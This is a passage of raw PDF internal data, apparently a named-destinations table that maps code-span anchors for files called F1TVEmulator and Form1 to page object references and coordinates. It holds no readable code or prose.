0 ] (Code/F1TVEmulator/:__span-0-67) [ 1517 0 R /XYZ 60.307257 436.014822 0 ] (Code/F1TVEmulator/:__span-0-68) [ 1517 0 R /XYZ 60.307257 422.614470 0 ] (Code/F1TVEmulator/:__span-0-69) [ 1517 0 R /XYZ 60.307257 409.214118 0 ] (Code/F1TVEmulator/:__span-0-7) [ 1515 0 R /XYZ 60.307257 613.832958 0 ] (Code/F1TVEmulator/:__span-0-70) [ 1517 0 R /XYZ 60.307257 395.813766 0 ] (Code/F1TVEmulator/:__span-0-71) [ 1517 0 R /XYZ 60.307257 382.413414 0 ] (Code/F1TVEmulator/:__span-0-72) [ 1517 0 R /XYZ 60.307257 369.013062 0 ] (Code/F1TVEmulator/:__span-0-73) [ 1517 0 R /XYZ 60.307257 355.612710 0 ] (Code/F1TVEmulator/:__span-0-74) [ 1517 0 R /XYZ 60.307257 342.212358 0 ] (Code/F1TVEmulator/:__span-0-75) [ 1517 0 R /XYZ 60.307257 328.812006 0 ] (Code/F1TVEmulator/:__span-0-76) [ 1517 0 R /XYZ 60.307257 302.011302 0 ] (Code/F1TVEmulator/:__span-0-77) [ 1517 0 R /XYZ 60.307257 288.610950 0 ] (Code/F1TVEmulator/:__span-0-78) [ 1517 0 R /XYZ 60.307257 275.210598 0 ] (Code/F1TVEmulator/:__span-0-79) [ 1517 0 R /XYZ 60.307257 261.810246 0 ] (Code/F1TVEmulator/:__span-0-8) [ 1515 0 R /XYZ 60.307257 600.432606 0 ] (Code/F1TVEmulator/:__span-0-80) [ 1517 0 R /XYZ 60.307257 248.409894 0 ] (Code/F1TVEmulator/:__span-0-81) [ 1517 0 R /XYZ 60.307257 235.009542 0 ] (Code/F1TVEmulator/:__span-0-82) [ 1517 0 R /XYZ 60.307257 208.208838 0 ] (Code/F1TVEmulator/:__span-0-83) [ 1517 0 R /XYZ 60.307257 194.808486 0 ] (Code/F1TVEmulator/:__span-0-84) [ 1517 0 R /XYZ 60.307257 181.408134 0 ] (Code/F1TVEmulator/:__span-0-85) [ 1517 0 R /XYZ 60.307257 168.007782 0 ] (Code/F1TVEmulator/:__span-0-86) [ 1517 0 R /XYZ 60.307257 154.607430 0 ] (Code/F1TVEmulator/:__span-0-87) [ 1517 0 R /XYZ 60.307257 141.207078 0 ] (Code/F1TVEmulator/:__span-0-88) [ 1517 0 R /XYZ 60.307257 127.806726 0 ] (Code/F1TVEmulator/:__span-0-89) [ 1517 0 R /XYZ 60.307257 114.406374 0 ] (Code/F1TVEmulator/:__span-0-9) [ 1515 0 R /XYZ 60.307257 587.032254 0 ] (Code/F1TVEmulator/:__span-0-90) [ 1517 0 R /XYZ 60.307257 101.006022 0 ] (Code/F1TVEmulator/:__span-0-91) [ 1517 0 R /XYZ 60.307257 87.605670 0 ] (Code/F1TVEmulator/:__span-0-92) [ 1519 0 R /XYZ 60.307257 771.023622 0 ] (Code/F1TVEmulator/:__span-0-93) [ 1519 0 R /XYZ 60.307257 757.623270 0 ] (Code/F1TVEmulator/:__span-0-94) [ 1519 0 R /XYZ 60.307257 744.222918 0 ] (Code/F1TVEmulator/:__span-0-95) [ 1519 0 R /XYZ 60.307257 730.822566 0 ] (Code/F1TVEmulator/:__span-0-96) [ 1519 0 R /XYZ 60.307257 717.422214 0 ] (Code/F1TVEmulator/:__span-0-97) [ 1519 0 R /XYZ 60.307257 704.021862 0 ] (Code/F1TVEmulator/:__span-0-98) [ 1519 0 R /XYZ 60.307257 690.621510 0 ] (Code/F1TVEmulator/:__span-0-99) [ 1519 0 R /XYZ 60.307257 677.221158 0 ] (Code/F1TVEmulator/:f1tvemulatorcs) [ 1515 0 R /XYZ 39.386457 747.563622 0 ] (Code/Form1/:) [ 1529 0 R /XYZ 39.386457 747.563622 0 ] (Code/Form1/:__span-0-1) [ 1529 0 R /XYZ 60.307257 707.635422 0 ] (Code/Form1/:__span-0-10) [ 1529 0 R /XYZ 60.307257 587.032254 0 ] (Code/Form1/:__span-0-100) [ 1533 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-101) [ 1533 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-102) [ 1533 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-103) [ 1533 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-104) [ 1533 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-105) [ 1533 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-106) [ 1533 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-107) [ 1533 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-108) [ 1533 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-109) [ 1533 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-11) [ 1529 0 R /XYZ 60.307257 573.631902 0 ] (Code/Form1/:__span-0-110) [ 1533 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-111) [ 1533 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-112) [ 1533 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-113) [ 1533 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-114) [ 1533 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-115) [ 1533 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-116) [ 1533 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-117) [ 1533 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-118) [ 1533 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-119) [ 1533 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-12) [ 1529 0 R /XYZ 60.307257 560.231550 0 ] (Code/Form1/:__span-0-120) [ 1533 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-121) [ 1533 0 R /XYZ 60.307257 382.413414 0 ] (Code/Form1/:__span-0-122) [ 1533 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-123) [ 1533 0 R /XYZ 60.307257 355.612710 0 ] (Code/Form1/:__span-0-124) [ 1533 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-125) [ 1533 0 R /XYZ 60.307257 328.812006 0 ] (Code/Form1/:__span-0-126) [ 1533 0 R /XYZ 60.307257 315.411654 0 ] (Code/Form1/:__span-0-127) [ 1533 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-128) [ 1533 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-129) [ 1533 0 R /XYZ 60.307257 248.409894 0 ] (Code/Form1/:__span-0-13) [ 1529 0 R /XYZ 60.307257 546.831198 0 ] (Code/Form1/:__span-0-130) [ 1533 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-131) [ 1533 0 R /XYZ 60.307257 194.808486 0 ] (Code/Form1/:__span-0-132) [ 1533 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-133) [ 1533 0 R /XYZ 60.307257 141.207078 0 ] (Code/Form1/:__span-0-134) [ 1533 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-135) [ 1533 0 R /XYZ 60.307257 87.605670 0 ] (Code/Form1/:__span-0-136) [ 1535 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-137) [ 1535 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-138) [ 1535 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-139) [ 1535 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-14) [ 1529 0 R /XYZ 60.307257 533.430846 0 ] (Code/Form1/:__span-0-140) [ 1535 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-141) [ 1535 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-142) [ 1535 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-143) [ 1535 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-144) [ 1535 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-145) [ 1535 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-146) [ 1535 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-147) [ 1535 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-148) [ 1535 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-149) [ 1535 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-15) [ 1529 0 R /XYZ 60.307257 520.030494 0 ] (Code/Form1/:__span-0-150) [ 1535 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-151) [ 1535 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-152) [ 1535 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-153) [ 1535 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-154) [ 1535 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-155) [ 1535 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-156) [ 1535 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-157) [ 1535 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-158) [ 1535 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-159) [ 1535 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-16) [ 1529 0 R /XYZ 60.307257 506.630142 0 ] (Code/Form1/:__span-0-160) [ 1535 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-161) [ 1535 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-162) [ 1535 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-163) [ 1535 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-164) [ 1535 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-165) [ 1535 0 R /XYZ 60.307257 382.413414 0 ] (Code/Form1/:__span-0-166) [ 1535 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-167) [ 1535 0 R /XYZ 60.307257 355.612710 0 ] (Code/Form1/:__span-0-168) [ 1535 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-169) [ 1535 0 R /XYZ 60.307257 328.812006 0 ] (Code/Form1/:__span-0-17) [ 1529 0 R /XYZ 60.307257 493.229790 0 ] (Code/Form1/:__span-0-170) [ 1535 0 R /XYZ 60.307257 315.411654 0 ] (Code/Form1/:__span-0-171) [ 1535 0 R /XYZ 60.307257 302.011302 0 ] (Code/Form1/:__span-0-172) [ 1535 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-173) [ 1535 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-174) [ 1535 0 R /XYZ 60.307257 261.810246 0 ] (Code/Form1/:__span-0-175) [ 1535 0 R /XYZ 60.307257 248.409894 0 ] (Code/Form1/:__span-0-176) [ 1535 0 R /XYZ 60.307257 235.009542 0 ] (Code/Form1/:__span-0-177) [ 1535 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-178) [ 1535 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-179) [ 1535 0 R /XYZ 60.307257 194.808486 0 ] (Code/Form1/:__span-0-18) [ 1529 0 R /XYZ 60.307257 479.829438 0 ] (Code/Form1/:__span-0-180) [ 1535 0 R /XYZ 60.307257 181.408134 0 ] (Code/Form1/:__span-0-181) [ 1535 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-182) [ 1535 0 R /XYZ 60.307257 154.607430 0 ] (Code/Form1/:__span-0-183) [ 1535 0 R /XYZ 60.307257 141.207078 0 ] (Code/Form1/:__span-0-184) [ 1535 0 R /XYZ 60.307257 127.806726 0 ] (Code/Form1/:__span-0-185) [ 1535 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-186) [ 1535 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-187) [ 1535 0 R /XYZ 60.307257 87.605670 0 ] (Code/Form1/:__span-0-188) [ 1537 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-189) [ 1537 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-19) [ 1529 0 R /XYZ 60.307257 466.429086 0 ] (Code/Form1/:__span-0-190) [ 1537 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-191) [ 1537 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-192) [ 1537 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-193) [ 1537 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-194) [ 1537 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-195) [ 1537 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-196) [ 1537 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-197) [ 1537 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-198) [ 1537 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-199) [ 1537 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-2) [ 1529 0 R /XYZ 60.307257 694.235070 0 ] (Code/Form1/:__span-0-20) [ 1529 0 R /XYZ 60.307257 453.028734 0 ] (Code/Form1/:__span-0-200) [ 1537 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-201) [ 1537 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-202) [ 1537 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-203) [ 1537 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-204) [ 1537 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-205) [ 1537 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-206) [ 1537 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-207) [ 1537 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-208) [ 1537 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-209) [ 1537 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-21) [ 1529 0 R /XYZ 60.307257 439.628382 0 ] (Code/Form1/:__span-0-210) [ 1537 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-211) [ 1537 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-212) [ 1537 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-213) [ 1537 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-214) [ 1537 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-215) [ 1537 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-216) [ 1537 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-217) [ 1537 0 R /XYZ 60.307257 382.413414 0 ] (Code/Form1/:__span-0-218) [ 1537 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-219) [ 1537 0 R /XYZ 60.307257 355.612710 0 ] (Code/Form1/:__span-0-22) [ 1529 0 R /XYZ 60.307257 426.228030 0 ] (Code/Form1/:__span-0-220) [ 1537 0 R /XYZ 60.307257 315.411654 0 ] (Code/Form1/:__span-0-221) [ 1537 0 R /XYZ 60.307257 302.011302 0 ] (Code/Form1/:__span-0-222) [ 1537 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-223) [ 1537 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-224) [ 1537 0 R /XYZ 60.307257 261.810246 0 ] (Code/Form1/:__span-0-225) [ 1537 0 R /XYZ 60.307257 248.409894 0 ] (Code/Form1/:__span-0-226) [ 1537 0 R /XYZ 60.307257 235.009542 0 ] (Code/Form1/:__span-0-227) [ 1537 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-228) [ 1537 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-229) [ 1537 0 R /XYZ 60.307257 194.808486 0 ] (Code/Form1/:__span-0-23) [ 1529 0 R /XYZ 60.307257 412.827678 0 ] (Code/Form1/:__span-0-230) [ 1537 0 R /XYZ 60.307257 181.408134 0 ] (Code/Form1/:__span-0-231) [ 1537 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-232) [ 1537 0 R /XYZ 60.307257 154.607430 0 ] (Code/Form1/:__span-0-233) [ 1537 0 R /XYZ 60.307257 141.207078 0 ] (Code/Form1/:__span-0-234) [ 1537 0 R /XYZ 60.307257 127.806726 0 ] (Code/Form1/:__span-0-235) [ 1537 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-236) [ 1537 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-237) [ 1537 0 R /XYZ 60.307257 87.605670 0 ] (Code/Form1/:__span-0-238) [ 1539 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-239) [ 1539 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-24) [ 1529 0 R /XYZ 60.307257 399.427326 0 ] (Code/Form1/:__span-0-240) [ 1539 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-241) [ 1539 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-242) [ 1539 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-243) [ 1539 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-244) [ 1539 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-245) [ 1539 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-246) [ 1539 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-247) [ 1539 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-248) [ 1539 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-249) [ 1539 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-25) [ 1529 0 R /XYZ 60.307257 386.026974 0 ] (Code/Form1/:__span-0-250) [ 1539 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-251) [ 1539 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-252) [ 1539 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-253) [ 1539 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-254) [ 1539 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-255) [ 1539 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-256) [ 1539 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-257) [ 1539 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-258) [ 1539 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-259) [ 1539 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-26) [ 1529 0 R /XYZ 60.307257 372.626622 0 ] (Code/Form1/:__span-0-260) [ 1539 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-261) [ 1539 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-262) [ 1539 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-263) [ 1539 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-264) [ 1539 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-265) [ 1539 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-266) [ 1539 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-267) [ 1539 0 R /XYZ 60.307257 355.612710 0 ] (Code/Form1/:__span-0-268) [ 1539 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-269) [ 1539 0 R /XYZ 60.307257 302.011302 0 ] (Code/Form1/:__span-0-27) [ 1529 0 R /XYZ 60.307257 359.226270 0 ] (Code/Form1/:__span-0-270) [ 1539 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-271) [ 1539 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-272) [ 1539 0 R /XYZ 60.307257 235.009542 0 ] (Code/Form1/:__span-0-273) [ 1539 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-274) [ 1539 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-275) [ 1539 0 R /XYZ 60.307257 181.408134 0 ] (Code/Form1/:__span-0-276) [ 1539 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-277) [ 1539 0 R /XYZ 60.307257 154.607430 0 ] (Code/Form1/:__span-0-278) [ 1539 0 R /XYZ 60.307257 127.806726 0 ] (Code/Form1/:__span-0-279) [ 1539 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-28) [ 1529 0 R /XYZ 60.307257 345.825918 0 ] (Code/Form1/:__span-0-280) [ 1539 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-281) [ 1541 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-282) [ 1541 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-283) [ 1541 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-284) [ 1541 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-285) [ 1541 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-286) [ 1541 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-287) [ 1541 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-288) [ 1541 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-289) [ 1541 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-29) [ 1529 0 R /XYZ 60.307257 332.425566 0 ] (Code/Form1/:__span-0-290) [ 1541 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-291) [ 1541 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-292) [ 1541 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-293) [ 1541 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-294) [ 1541 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-295) [ 1541 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-296) [ 1541 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-297) [ 1541 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-298) [ 1541 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-299) [ 1541 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-3) [ 1529 0 R /XYZ 60.307257 680.834718 0 ] (Code/Form1/:__span-0-30) [ 1529 0 R /XYZ 60.307257 319.025214 0 ] (Code/Form1/:__span-0-300) [ 1541 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-301) [ 1541 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-302) [ 1541 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-303) [ 1541 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-304) [ 1541 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-305) [ 1541 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-306) [ 1541 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-307) [ 1541 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-308) [ 1541 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-309) [ 1541 0 R /XYZ 60.307257 382.413414 0 ] (Code/Form1/:__span-0-31) [ 1529 0 R /XYZ 60.307257 305.624862 0 ] (Code/Form1/:__span-0-310) [ 1541 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-311) [ 1541 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-312) [ 1541 0 R /XYZ 60.307257 315.411654 0 ] (Code/Form1/:__span-0-313) [ 1541 0 R /XYZ 60.307257 302.011302 0 ] (Code/Form1/:__span-0-314) [ 1541 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-315) [ 1541 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-316) [ 1541 0 R /XYZ 60.307257 261.810246 0 ] (Code/Form1/:__span-0-317) [ 1541 0 R /XYZ 60.307257 235.009542 0 ] (Code/Form1/:__span-0-318) [ 1541 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-319) [ 1541 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-32) [ 1529 0 R /XYZ 60.307257 292.224510 0 ] (Code/Form1/:__span-0-320) [ 1541 0 R /XYZ 60.307257 194.808486 0 ] (Code/Form1/:__span-0-321) [ 1541 0 R /XYZ 60.307257 181.408134 0 ] (Code/Form1/:__span-0-322) [ 1541 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-323) [ 1541 0 R /XYZ 60.307257 154.607430 0 ] (Code/Form1/:__span-0-324) [ 1541 0 R /XYZ 60.307257 141.207078 0 ] (Code/Form1/:__span-0-325) [ 1541 0 R /XYZ 60.307257 127.806726 0 ] (Code/Form1/:__span-0-326) [ 1541 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-327) [ 1541 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-328) [ 1541 0 R /XYZ 60.307257 87.605670 0 ] (Code/Form1/:__span-0-329) [ 1543 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-33) [ 1529 0 R /XYZ 60.307257 278.824158 0 ] (Code/Form1/:__span-0-330) [ 1543 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-331) [ 1543 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-332) [ 1543 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-333) [ 1543 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-334) [ 1543 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-335) [ 1543 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-336) [ 1543 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-337) [ 1543 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-338) [ 1543 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-339) [ 1543 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-34) [ 1529 0 R /XYZ 60.307257 265.423806 0 ] (Code/Form1/:__span-0-340) [ 1543 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-341) [ 1543 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-342) [ 1543 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-343) [ 1543 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-344) [ 1543 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-345) [ 1543 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-346) [ 1543 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-347) [ 1543 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-348) [ 1543 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-349) [ 1543 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-35) [ 1529 0 R /XYZ 60.307257 252.023454 0 ] (Code/Form1/:__span-0-350) [ 1543 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-351) [ 1543 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-352) [ 1543 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-353) [ 1543 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-354) [ 1543 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-355) [ 1543 0 R /XYZ 60.307257 382.413414 0 ] (Code/Form1/:__span-0-356) [ 1543 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-357) [ 1543 0 R /XYZ 60.307257 355.612710 0 ] (Code/Form1/:__span-0-358) [ 1543 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-359) [ 1543 0 R /XYZ 60.307257 328.812006 0 ] (Code/Form1/:__span-0-36) [ 1529 0 R /XYZ 60.307257 238.623102 0 ] (Code/Form1/:__span-0-360) [ 1543 0 R /XYZ 60.307257 315.411654 0 ] 